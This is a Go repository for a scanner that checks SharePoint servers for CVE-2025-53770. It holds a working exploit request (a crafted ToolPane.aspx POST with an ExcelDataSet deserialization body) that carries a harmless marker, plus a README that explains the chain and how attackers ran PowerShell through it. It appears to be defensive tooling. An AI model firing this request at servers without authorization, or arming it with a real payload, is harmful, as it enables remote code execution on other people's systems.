├── .github ├── golangci.yml ├── go │ └── Dockerfile ├── dependabot.yml ├── goreleaser.yml └── workflows │ └── release.yml ├── Makefile ├── .gitignore ├── go.mod ├── pkg └── payload │ ├── test_payload.go │ ├── test.go │ ├── extract.go │ └── payload.go ├── Dockerfile ├── go.sum ├── cmd └── main.go └── README.md /.github/golangci.yml: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /.github/go/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM golang:1.24 -------------------------------------------------------------------------------- /Makefile: -------------------------------------------------------------------------------- 1 | 2 | all: run 3 | 4 | run: 5 | go run ./cmd/... -log=debug $@ 6 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | .DS_Store 2 | dev.yml 3 | dev.yaml 4 | dist/ 5 | .semrel 6 | .generated-go-semantic-release-changelog.md 7 | .idea/ 8 | *.json 9 | .cache/ -------------------------------------------------------------------------------- /go.mod: -------------------------------------------------------------------------------- 1 | module github.com/hazcod/CVE-2025-53770 2 | 3 | go 1.24 4 | 5 | require ( 6 | github.com/sirupsen/logrus v1.9.3 7 | golang.org/x/net v0.42.0 8 | ) 9 | 10 | require golang.org/x/sys v0.34.0 // indirect 11 | -------------------------------------------------------------------------------- /.github/dependabot.yml: -------------------------------------------------------------------------------- 1 | version: 2 2 | 3 | updates: 4 | 5 | - package-ecosystem: github-actions 6 | directory: "/" 7 | schedule: 8 | interval: daily 9 | time: '04:00' 10 | open-pull-requests-limit: 10 11 | commit-message: 12 | prefix: "chore(cicd):" 13 | 14 | - package-ecosystem: gomod 15 | directory: "/" 16 | schedule: 17 | interval: daily 18 | time: '04:00' 19 | open-pull-requests-limit: 10 20 | commit-message: 21 | prefix: "chore(go):" 22 | 23 | - package-ecosystem: docker 24 | directory: "/.github/go/" 25 | schedule: 26 | interval: daily 27 | time: '04:00' 28 | open-pull-requests-limit: 10 29 | commit-message: 30 | prefix: "chore(go):" -------------------------------------------------------------------------------- /pkg/payload/test_payload.go: -------------------------------------------------------------------------------- 1 | package payload 2 | 3 | import "time" 4 | 5 | const TestPayloadMarker = "This is a harmless CVE-2025-53770 PoC marker." 6 | 7 | var TestPayload = []byte(` 8 | 9 | 10 | 11 | 12 | 13 | ` + TestPayloadMarker + ` 14 | ` + time.Now().UTC().Format(time.RFC3339) + ` 15 | 16 | 17 | 18 | 19 | 20 | `) 21 | -------------------------------------------------------------------------------- /.github/goreleaser.yml: -------------------------------------------------------------------------------- 1 | version: 2 2 | 3 | before: 4 | hooks: 5 | - go mod download 6 | 7 | checksum: 8 | name_template: 'checksums.txt' 9 | 10 | snapshot: 11 | version_template: "CVE-2025-53770_{{ .Version }}" 12 | 13 | changelog: 14 | sort: asc 15 | filters: 16 | exclude: 17 | - '^docs:' 18 | - '^test:' 19 | - '^chore' 20 | 21 | release: 22 | disable: false 23 | 24 | dockers: 25 | - 26 | image_templates: 27 | - "ghcr.io/hazcod/cve-2025-53770/cve-2025-53770:latest" 28 | - "ghcr.io/hazcod/cve-2025-53770/cve-2025-53770:{{ .Tag }}" 29 | - "ghcr.io/hazcod/cve-2025-53770/cve-2025-53770:{{ .Major }}" 30 | 31 | sboms: 32 | - 33 | artifacts: archive 34 | 35 | builds: 36 | - 37 | id: cli 38 | dir: ./cmd/ 39 | env: [CGO_ENABLED=0] 40 | ldflags: [-w -s -extldflags "-static"] 41 | goos: [darwin, linux, windows] 42 | goarch: [amd64, arm64] 43 | binary: CVE-2025-53770 -------------------------------------------------------------------------------- /Dockerfile: -------------------------------------------------------------------------------- 1 | FROM alpine:latest AS builder 2 | 3 | # add ca certificates and timezone data files 4 | # hadolint ignore=DL3018 5 | RUN apk add -U --no-cache ca-certificates tzdata 6 | 7 | # add unprivileged user 8 | RUN adduser -s /bin/true -u 1000 -D -h /app app \ 9 | && sed -i -r "/^(app|root)/!d" /etc/group /etc/passwd \ 10 | && sed -i -r 's#^(.*):[^:]*$#\1:/sbin/nologin#' /etc/passwd 11 | 12 | # 13 | # --- 14 | # 15 | 16 | # start with empty image 17 | FROM scratch 18 | 19 | # add-in our timezone data file 20 | COPY --from=builder /usr/share/zoneinfo /usr/share/zoneinfo 21 | 22 | # add-in our unprivileged user 23 | COPY --from=builder /etc/passwd /etc/group /etc/shadow /etc/ 24 | 25 | # add-in our ca certificates 26 | COPY --from=builder /etc/ssl/certs/ca-certificates.crt /etc/ssl/certs/ 27 | 28 | # from now on, run as the unprivileged user 29 | USER 1000 30 | 31 | # add our application binary 32 | COPY CVE-2025-53770 /CVE-2025-53770 33 | 34 | # entrypoint 35 | ENTRYPOINT ["/CVE-2025-53770"] -------------------------------------------------------------------------------- /go.sum: -------------------------------------------------------------------------------- 1 | github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= 2 | github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c= 3 | github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= 4 | github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM= 5 | github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= 6 | github.com/sirupsen/logrus v1.9.3 h1:dueUQJ1C2q9oE3F7wvmSGAaVtTmUizReu6fjN8uqzbQ= 7 | github.com/sirupsen/logrus v1.9.3/go.mod h1:naHLuLoDiP4jHNo9R0sCBMtWGeIprob74mVsIT4qYEQ= 8 | github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME= 9 | github.com/stretchr/testify v1.7.0 h1:nwc3DEeHmmLAfoZucVR881uASk0Mfjw8xYJ99tb5CcY= 10 | github.com/stretchr/testify v1.7.0/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= 11 | golang.org/x/net v0.42.0 h1:jzkYrhi3YQWD6MLBJcsklgQsoAcw89EcZbJw8Z614hs= 12 | golang.org/x/net v0.42.0/go.mod h1:FF1RA5d3u7nAYA4z2TkclSCKh68eSXtiFwcWQpPXdt8= 13 | golang.org/x/sys v0.0.0-20220715151400-c0bba94af5f8/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= 14 | golang.org/x/sys v0.34.0 h1:H5Y5sJ2L2JRdyv7ROF1he/lPdvFsd0mJHFw2ThKHxLA= 15 | golang.org/x/sys v0.34.0/go.mod h1:BJP2sWEmIv4KK5OTEluFJCKSidICx8ciO85XgH3Ak8k= 16 | gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= 17 | gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c h1:dUUwHk2QECo/6vqA44rthZ8ie2QXMNeKRTHCNY2nXvo= 18 | gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= 19 | -------------------------------------------------------------------------------- /pkg/payload/test.go: -------------------------------------------------------------------------------- 1 | package payload 2 | 3 | import ( 4 | "bytes" 5 | "crypto/tls" 6 | "fmt" 7 | "net/http" 8 | "strings" 9 | "time" 10 | ) 11 | 12 | var insecureHTTPClient = &http.Client{ 13 | Transport: &http.Transport{ 14 | TLSClientConfig: &tls.Config{ 15 | InsecureSkipVerify: true, // ← this disables TLS certificate validation 16 | }, 17 | }, 18 | Timeout: 15 * time.Second, 19 | } 20 | 21 | func DetectSharePointVersion(target string) (string, error) { 22 | // Normalize target 23 | if !strings.HasPrefix(target, "http") { 24 | target = "https://" + target 25 | } 26 | if strings.HasSuffix(target, "/") { 27 | target = target[:len(target)-1] 28 | } 29 | 30 | // Build request to a known SharePoint path 31 | resp, err := insecureHTTPClient.Get(target + "/_layouts/15/start.aspx") 32 | if err != nil { 33 | return "", fmt.Errorf("error making request: %w", err) 34 | } 35 | defer resp.Body.Close() 36 | 37 | // Heuristics from headers 38 | var version string 39 | headers := []string{ 40 | "MicrosoftSharePointTeamServices", 41 | "X-AspNet-Version", 42 | "X-AspNetMvc-Version", 43 | } 44 | 45 | for _, h := range headers { 46 | if v := resp.Header.Get(h); v != "" { 47 | version += fmt.Sprintf("%s: %s\n", h, v) 48 | } 49 | } 50 | 51 | // Try to read from HTML if headers didn’t work 52 | if version == "" { 53 | buf := new(bytes.Buffer) 54 | _, _ = buf.ReadFrom(resp.Body) 55 | body := buf.String() 56 | 57 | if strings.Contains(body, "layouts/15/init.js") { 58 | version += "Detected layout path: layouts/15 => SharePoint 2013+ (likely 2016/2019/SE)\n" 59 | } 60 | if strings.Contains(body, "layouts/16/init.js") { 61 | version += "Detected layout path: layouts/16 => SharePoint Online or 2019+\n" 62 | } 63 | if strings.Contains(body, "SharePoint") && strings.Contains(body, "Generated") { 64 | version += "Likely SharePoint detected via meta tags\n" 65 | } 66 | } 67 | 68 | if version == "" { 69 | version = "Unknown / no SharePoint signature found" 70 | } 71 | 72 | return version, nil 73 | } 74 | -------------------------------------------------------------------------------- /pkg/payload/extract.go: -------------------------------------------------------------------------------- 1 | package payload 2 | 3 | import ( 4 | "bytes" 5 | "compress/gzip" 6 | "encoding/base64" 7 | "encoding/xml" 8 | "fmt" 9 | "io" 10 | "strings" 11 | 12 | "golang.org/x/net/html" 13 | ) 14 | 15 | // ExtractFromPayloadResponse parses SharePoint ToolPane HTML to extract and decode CompressedDataTable payload 16 | func ExtractFromPayloadResponse(payloadHTML string) (string, error) { 17 | doc, err := html.Parse(strings.NewReader(payloadHTML)) 18 | if err != nil { 19 | return "", fmt.Errorf("failed to parse HTML: %w", err) 20 | } 21 | 22 | var xmlContent string 23 | var f func(*html.Node) 24 | f = func(n *html.Node) { 25 | if n.Type == html.ElementNode && 26 | (n.Data == "textarea" || n.Data == "input") { 27 | for _, attr := range n.Attr { 28 | if attr.Key == "id" && attr.Val == "MSOTlPn_DWP" { 29 | if n.Data == "textarea" && n.FirstChild != nil { 30 | xmlContent = n.FirstChild.Data 31 | } else { 32 | for _, a := range n.Attr { 33 | if a.Key == "value" { 34 | xmlContent = a.Val 35 | break 36 | } 37 | } 38 | } 39 | } 40 | } 41 | } 42 | for c := n.FirstChild; c != nil; c = c.NextSibling { 43 | f(c) 44 | } 45 | } 46 | f(doc) 47 | 48 | if xmlContent == "" { 49 | return "", fmt.Errorf("MSOTlPn_DWP input not found") 50 | } 51 | 52 | // Go's XML library does not support the ASP.NET markers 53 | cleanedXMLContent := "" 54 | for _, line := range strings.Split(xmlContent, "\n") { 55 | if !strings.HasPrefix(strings.TrimSpace(line), "<%@") { 56 | cleanedXMLContent += line + "\n" 57 | } 58 | } 59 | decoder := xml.NewDecoder(strings.NewReader(cleanedXMLContent)) 60 | 61 | var compressed string 62 | for { 63 | tok, err := decoder.Token() 64 | if err == io.EOF { 65 | break 66 | } else if err != nil { 67 | return "", fmt.Errorf("XML parsing error: %w", err) 68 | } 69 | 70 | if se, ok := tok.(xml.StartElement); ok && strings.EqualFold(se.Name.Local, "ExcelDataSet") { 71 | for _, attr := range se.Attr { 72 | if attr.Name.Local == "CompressedDataTable" { 73 | compressed = attr.Value 74 | break 75 | } 76 | } 77 | } 78 | } 79 | 80 | if compressed == "" { 81 | return "", fmt.Errorf("CompressedDataTable attribute not found") 82 | } 83 | 84 | // Step 3: base64 decode 85 | data, err := base64.StdEncoding.DecodeString(compressed) 86 | if err != nil { 87 | return "", fmt.Errorf("base64 decode failed: %w", err) 88 | } 89 | 90 | // Step 4: decompress gzip 91 | gr, err := gzip.NewReader(bytes.NewReader(data)) 92 | if err != nil { 93 | return "", fmt.Errorf("gzip decompression failed: %w", err) 94 | } 95 | defer gr.Close() 96 | 97 | var out bytes.Buffer 98 | if _, err := io.Copy(&out, gr); err != nil { 99 | return "", fmt.Errorf("gzip read failed: %w", err) 100 | } 101 | 102 | return out.String(), nil 103 | } 104 | -------------------------------------------------------------------------------- /cmd/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "crypto/tls" 5 | "flag" 6 | "fmt" 7 | "github.com/hazcod/CVE-2025-53770/pkg/payload" 8 | "io" 9 | "net/http" 10 | "os" 11 | "strings" 12 | "time" 13 | ) 14 | import "github.com/sirupsen/logrus" 15 | 16 | func main() { 17 | logger := logrus.New() 18 | logLevel := flag.String("log", logrus.InfoLevel.String(), "log level") 19 | getVersion := flag.Bool("version", false, "try derive SharePoint version") 20 | flag.Parse() 21 | 22 | targets := flag.Args() 23 | if len(targets) == 0 { 24 | _, _ = fmt.Fprintln(os.Stderr, "Missing targets. Usage: scanner ...") 25 | flag.Usage() 26 | os.Exit(1) 27 | } 28 | 29 | logrusLevel, err := logrus.ParseLevel(*logLevel) 30 | if err != nil { 31 | logger.WithError(err).Fatal("error parsing log level") 32 | } 33 | 34 | logger.WithField("level", logrusLevel.String()).Info("set log level") 35 | logger.SetLevel(logrusLevel) 36 | 37 | // --- 38 | 39 | insecureHttpClient := &http.Client{ 40 | Timeout: 15 * time.Second, 41 | Transport: &http.Transport{ 42 | TLSClientConfig: &tls.Config{ 43 | InsecureSkipVerify: true, 44 | }, 45 | }, 46 | } 47 | 48 | logger.WithField("targets", len(targets)).Info("starting scanner") 49 | 50 | for _, target := range targets { 51 | tgtLogger := logger.WithField("target", target) 52 | 53 | // try retrieve sharepoint version 54 | if *getVersion { 55 | tgtLogger.Debug("detecting SharePoint version") 56 | version, err := payload.DetectSharePointVersion(target) 57 | if err != nil { 58 | tgtLogger.WithError(err).Warn("error detecting SharePoint version") 59 | } else { 60 | tgtLogger.WithField("version", version).Info("detected SharePoint version") 61 | } 62 | } 63 | 64 | // build the payload 65 | tgtLogger.Debug("building payload") 66 | 67 | tgtPayload, err := payload.GetPayload(target, payload.TestPayload) 68 | if err != nil { 69 | tgtLogger.WithError(err).Error("error getting payload") 70 | continue 71 | } 72 | 73 | tgtLogger.Debugln(tgtPayload.URL.String()) 74 | 75 | // send the payload to the target 76 | tgtLogger.Debug("sending payload") 77 | resp, err := insecureHttpClient.Do(tgtPayload) 78 | if err != nil { 79 | tgtLogger.WithError(err).Error("error sending payload") 80 | continue 81 | } 82 | 83 | if resp.StatusCode > 399 { 84 | tgtLogger.WithField("status", resp.StatusCode).Error("error sending payload") 85 | } 86 | 87 | respBytes, err := io.ReadAll(resp.Body) 88 | _ = resp.Body.Close() 89 | 90 | if err != nil { 91 | tgtLogger.WithError(err).Fatal("error reading response") 92 | } 93 | 94 | fullResponse := string(respBytes) 95 | tgtLogger.WithField("response", resp.StatusCode).Debugf("%s", fullResponse) 96 | 97 | // decode the response 98 | payloadResponse, err := payload.ExtractFromPayloadResponse(fullResponse) 99 | if err != nil { 100 | tgtLogger.WithError(err).Debug("error extracting payload response") 101 | } 102 | 103 | tgtLogger.Debug(payloadResponse) 104 | 105 | // if it contains our marker, the host is vulnerable 106 | if strings.Contains(payloadResponse, payload.TestPayloadMarker) { 107 | tgtLogger.Warn("target is vulnerable") 108 | } else { 109 | tgtLogger.Info("target is not vulnerable") 110 | } 111 | } 112 | } 113 | -------------------------------------------------------------------------------- /.github/workflows/release.yml: -------------------------------------------------------------------------------- 1 | name: release 2 | 3 | on: 4 | push: 5 | branches: [main, master] 6 | 7 | jobs: 8 | goreleaser: 9 | runs-on: ubuntu-latest 10 | 11 | outputs: 12 | hashes: ${{ steps.hashes.outputs.hashes }} 13 | version: ${{ steps.semrel.outputs.version }} 14 | 15 | permissions: 16 | contents: write 17 | packages: write 18 | 19 | steps: 20 | - 21 | name: Checkout 22 | uses: actions/checkout@v4 23 | with: 24 | fetch-depth: 0 25 | - 26 | id: vars 27 | run: | 28 | goVersion=$(grep '^FROM go' .github/go/Dockerfile | cut -d ' ' -f 2 | cut -d ':' -f 2) 29 | echo "go_version=${goVersion}" >> $GITHUB_OUTPUT 30 | echo "Using Go version ${goVersion}" 31 | - 32 | name: Set up Go 33 | uses: actions/setup-go@v5 34 | with: 35 | go-version: ${{ steps.vars.outputs.go_version }} 36 | - 37 | name: Run Trivy in GitHub SBOM mode and submit results to Dependency Snapshots 38 | uses: aquasecurity/trivy-action@master 39 | with: 40 | scan-type: 'fs' 41 | format: 'github' 42 | output: 'dependency-results.sbom.json' 43 | image-ref: '.' 44 | github-pat: ${{ secrets.GH_PRIVATEREPO_TOKEN }} 45 | - 46 | name: Remove SBOM result 47 | run: | 48 | rm dependency-results.sbom.json 49 | - 50 | name: Install syft 51 | run: | 52 | curl -sSfL https://raw.githubusercontent.com/anchore/syft/main/install.sh | sh -s -- -b /usr/local/bin 53 | - 54 | name: Create release tag 55 | uses: go-semantic-release/action@v1 56 | id: semrel 57 | with: 58 | github-token: ${{ secrets.GITHUB_TOKEN }} 59 | - 60 | run: git fetch -a 61 | if: steps.semrel.outputs.version != '' 62 | - 63 | name: Login to GitHub Docker registry 64 | if: steps.semrel.outputs.version != '' 65 | uses: docker/login-action@v3 66 | with: 67 | registry: ghcr.io 68 | username: ${{ github.repository_owner }} 69 | password: ${{ secrets.GITHUB_TOKEN }} 70 | - 71 | name: Release 72 | uses: goreleaser/goreleaser-action@v6.3.0 73 | if: steps.semrel.outputs.version != '' 74 | with: 75 | version: latest 76 | args: release --config=.github/goreleaser.yml --clean 77 | env: 78 | GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} 79 | - 80 | name: Generate dist hashes 81 | id: hashes 82 | if: steps.semrel.outputs.version != '' 83 | env: 84 | ARTIFACTS: "${{ steps.goreleaser.outputs.artifacts }}" 85 | run: | 86 | checksum_file=$(echo "$ARTIFACTS" | jq -r '.[] | select (.type=="Checksum") | .path') 87 | echo "hashes=$(cat $checksum_file | base64 -w0)" >> $GITHUB_OUTPUT 88 | 89 | provenance: 90 | needs: [goreleaser] 91 | if: needs.goreleaser.outputs.hashes != '' 92 | permissions: 93 | actions: read # To read the workflow path. 94 | id-token: write # To sign the provenance. 95 | contents: write # To add assets to a release. 96 | uses: slsa-framework/slsa-github-generator/.github/workflows/generator_generic_slsa3.yml@v2.1.0 97 | with: 98 | base64-subjects: "${{ needs.goreleaser.outputs.hashes }}" -------------------------------------------------------------------------------- /pkg/payload/payload.go: -------------------------------------------------------------------------------- 1 | package payload 2 | 3 | import ( 4 | "bytes" 5 | "compress/gzip" 6 | "encoding/base64" 7 | "errors" 8 | "fmt" 9 | "net" 10 | "net/http" 11 | "net/url" 12 | "strings" 13 | ) 14 | 15 | func isValidTarget(target string) error { 16 | // Handle missing protocol (without modifying original input) 17 | parsingTarget := target 18 | if !strings.HasPrefix(target, "http://") && !strings.HasPrefix(target, "https://") { 19 | parsingTarget = "http://" + target 20 | } 21 | 22 | // Parse URL structure 23 | parsed, err := url.Parse(parsingTarget) 24 | if err != nil { 25 | return fmt.Errorf("could not parse URL: %v", err) 26 | } 27 | 28 | // Validate scheme 29 | if parsed.Scheme != "http" && parsed.Scheme != "https" { 30 | return errors.New("invalid scheme provided") 31 | } 32 | 33 | // Get real hostname (automatically handles IPv6 brackets and ports) 34 | host := parsed.Hostname() 35 | if host == "" { 36 | return errors.New("invalid host provided") 37 | } 38 | 39 | // Check if valid IP format 40 | if ip := net.ParseIP(host); ip != nil { 41 | return nil 42 | } 43 | 44 | // Attempt DNS resolution 45 | if _, err := net.LookupIP(host); err != nil { 46 | return fmt.Errorf("could not resolve host: %v", err) 47 | } 48 | 49 | return nil 50 | } 51 | 52 | func gzipbase64(payload []byte) (string, error) { 53 | var buf bytes.Buffer 54 | 55 | zipper := gzip.NewWriter(&buf) 56 | _, err := zipper.Write(payload) 57 | _ = zipper.Close() 58 | 59 | if err != nil { 60 | return "", fmt.Errorf("could not gzip: %v", err) 61 | } 62 | 63 | base64Payload := base64.StdEncoding.EncodeToString(buf.Bytes()) 64 | return base64Payload, nil 65 | } 66 | 67 | func GetPayload(target string, payload []byte) (*http.Request, error) { 68 | if err := isValidTarget(target); err != nil { 69 | return nil, fmt.Errorf("invalid target provided; %v", err) 70 | } 71 | 72 | if !strings.HasPrefix(target, "http") { 73 | target = "https://" + target 74 | } 75 | 76 | if strings.HasSuffix(target, "/") { 77 | target = target[:len(target)-1] 78 | } 79 | 80 | encodedPayload, err := gzipbase64(payload) 81 | if err != nil { 82 | return nil, fmt.Errorf("could not encode payload: %v", err) 83 | } 84 | 85 | form := url.Values{} 86 | form.Set("MSOTlPn_Uri", fmt.Sprintf("%s/_controltemplates/15/AclEditor.ascx", target)) 87 | form.Set("MSOTlPn_DWP", ` 88 | <%@ Register Tagprefix="Scorecard" Namespace="Microsoft.PerformancePoint.Scorecards" Assembly="Microsoft.PerformancePoint.Scorecards.Client, Version=16.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c" %> 89 | <%@ Register Tagprefix="asp" Namespace="System.Web.UI" Assembly="System.Web.Extensions, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" %> 90 | 91 | 92 |
93 | 94 |
95 |
96 |
97 | `) 98 | 99 | // Construct the request body 100 | body := bytes.NewBufferString(form.Encode()) 101 | 102 | // Build the HTTP POST request 103 | req, err := http.NewRequest(http.MethodPost, target+"/_layouts/15/ToolPane.aspx?DisplayMode=Edit&a=/ToolPane.aspx", body) 104 | if err != nil { 105 | return nil, fmt.Errorf("could not build request: %v", err) 106 | } 107 | 108 | // Set HTTP headers to mimic a browser 109 | req.Header.Set("Content-Type", "application/x-www-form-urlencoded") 110 | req.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0") 111 | req.Header.Set("X-Tool", "github.com/hazcod/CVE-2025-53770") 112 | req.Header.Set("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8") 113 | req.Header.Set("Referer", "/_layouts/SignOut.aspx") 114 | req.Header.Set("Connection", "close") 115 | 116 | return req, nil 117 | } 118 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # CVE-2025-53770 2 | 3 | This is a scanner for [the SharePoint unauthenticated Remote Code Execution vulnerability](https://msrc.microsoft.com/blog/2025/07/customer-guidance-for-sharepoint-vulnerability-cve-2025-53770/), assigned CVE number CVE-2025-53770. 4 | The code for this was written by reverse-engineering a payload seen in [the wild](https://raw.githubusercontent.com/kaizensecurity/CVE-2025-53770/refs/heads/master/payload). 5 | 6 | Use at your own risk, I am not responsible for any negative impact this might cause. 7 | 8 | ## How does it work? 9 | 10 | It tries to exploit the vulnerability by injecting [a marker](pkg/payload/test_payload.go) in the SharePoint ToolBox widget. 11 | If in the SharePoint server response this unharmful marker is found, the host is marked as vulnerable. 12 | 13 | ## How to use 14 | ```zsh 15 | # check if is vulnerable and try extract version information 16 | % ./CVE-2025-53770 [ ...] 17 | INFO[0000] set log level fields.level=info 18 | INFO[0000] starting scanner targets=1 19 | INFO[0001] detected SharePoint version target= version="MicrosoftSharePointTeamServices: 16.0.0.5469\n" 20 | WARN[0001] target is vulnerable target= 21 | 22 | # turn on debug logging and try retrieving SharePoint version information 23 | % ./CVE-2025-53770 -log=debug -version 24 | ... 25 | ``` 26 | 27 | ## Who is vulnerable? 28 | 29 | Anyone running the *on-prem* version of SharePoint server without KB5002768 & KB5002754. 30 | 31 | ## How does this vulnerability work? 32 | 33 | The vulnerability presumably builds upon a previously disclosed vulnerability for SharePoint, CVE-2025-49706. 34 | By sending a HTTP POST request to `https:///_layouts/15/ToolPane.aspx?DisplayMode=Edit&a=/ToolPane.aspx` with a GZIP-ed, BASE64-encoded payload, you can achieve Remote Code Execution as the SharePoint runtime process. 35 | Two form parameters are important here: 36 | 37 | 1. `MSOTlPn_Uri`: Control source path 38 | 39 | This pretends to reference a legitimate SharePoint control (AclEditor.ascx), and tricks SharePoint into allowing the web part edit. 40 | This seems to be mock/fake value just to pass validation. 41 | The original malicious payload includes `MSOTlPn_Uri=https://%s/_controltemplates/15/AclEditor.ascx`, but this does not seem to be used at this point. 42 | 43 | 2. `MSOTlPn_DWP`: Web partial configuration. 44 | 45 | This parameter injects custom ASP.NET directives (`<%@ Register %>`) and server-side markup (``). 46 | The `CompressedDataTable` parameter holds attacker-controlled serialized data (GZIP + base64), triggering the RCE. 47 | This payload follows a certain structure: 48 | 49 | ```xml 50 | <%@ Register Tagprefix="Scorecard" Namespace="Microsoft.PerformancePoint.Scorecards" Assembly="Microsoft.PerformancePoint.Scorecards.Client, Version=16.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c" %> 51 | <%@ Register Tagprefix="asp" Namespace="System.Web.UI" Assembly="System.Web.Extensions, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" %> 52 | 53 | 54 |
55 | 56 |
57 |
58 |
59 | ``` 60 | 61 | If a control like `Scorecard:ExcelDataSet` exists and its `CompressedDataTable` property is set, it's deserialized directly by the SharePoint DWP Parser. 62 | 63 | The payload itself can be rather interesting, as it can contain a `System.DelegateSerializationHolder` which triggers a deserialization RCE. 64 | Threat actors abused this to pass `/c powershell -EncodedCommand ` in their payload to achieve code exection. 65 | In our case, we merely pass a static placeholder to prove exploitability; 66 | 67 | ```xml 68 | 69 | 70 | 71 | 72 | 73 | This is a harmless CVE-2025-53770 PoC marker. 74 | 2025-07-21T14:04:52Z 75 | 76 | 77 | 78 | 79 | 80 | ``` 81 | 82 | --------------------------------------------------------------------------------